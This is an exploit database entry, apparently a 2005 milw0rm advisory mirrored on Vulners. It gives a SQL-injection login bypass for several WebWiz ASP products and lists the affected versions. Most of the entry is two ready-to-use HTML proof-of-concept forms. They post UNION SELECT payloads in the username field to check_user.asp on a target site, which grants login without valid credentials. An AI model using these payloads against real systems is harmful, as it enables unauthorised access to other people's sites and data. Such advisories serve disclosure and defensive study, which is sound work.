WebWiz Products (1.0 , <= 3.06) - Login Bypass SQL Injection Exploits

🗓️ 01 Jul 2014 00:00:00Reported by RootType

WebWiz Products Login Bypass SQL Injection Exploits version 1.0 to 3.0


                                                &#60;!--
Vulnerable products :

webwiz site news access2000 : vesion 3.06 and prior versions
webwiz journal access2000 : version 1.0
webwiz weekly poll access2000 : version 3.06 and prior versions
database login access2000 : version 1.71 and prior versions
webwiz site news access97 : version 3.06 and prior versions
webwiz journal access97 : version 1.0
webwiz weekly poll access97 : version 3.06 and prior versions
database login access97 : version 1.71 and prior versions


Proof of Concepts :
--&#62;

&#60;html&#62;
&#60;h1&#62;WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory &#60;/h1&#62;
&#60;p&#62; Discovery and exploit by devil_box [at} kapda.ir&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;http://www.kapda.ir/&#34;&#62; Kapda - Security Science Researchers Institute of Iran&#60;/a&#62;&#60;/p&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://target/[product]/check_user.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;txtUserName&#34; value=&#34;&#39;union all select &#39;1&#39;,&#39;1&#39; from tblConfiguration where &#39;&#39;=&#39;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;txtUserPass&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Submit&#34; name=&#34;submit&#34;&#62;
&#60;/form&#62;&#60;/html&#62;

&#60;html&#62;
&#60;h1&#62;WebWiz Login Bypass PoC - Database login - Kapda `s advisory &#60;/h1&#62;
&#60;p&#62; Discovery and exploit by devil_box [at} kapda.ir&#60;/p&#62;
&#60;p&#62;&#60;a href=&#34;http://www.kapda.ir/&#34;&#62; Kapda - Security Science Researchers Institute of Iran&#60;/a&#62;&#60;/p&#62;
&#60;form method=&#34;POST&#34; action=&#34;http://target/[product]/check_user.asp&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;txtUserName&#34; value=&#34;&#39;union select 1 from tblusers where&#39;&#39;=&#39;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;txtUserPass&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Submit&#34; name=&#34;submit&#34;&#62;
&#60;/form&#62;&#60;/html&#62;

# milw0rm.com [2005-12-30]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1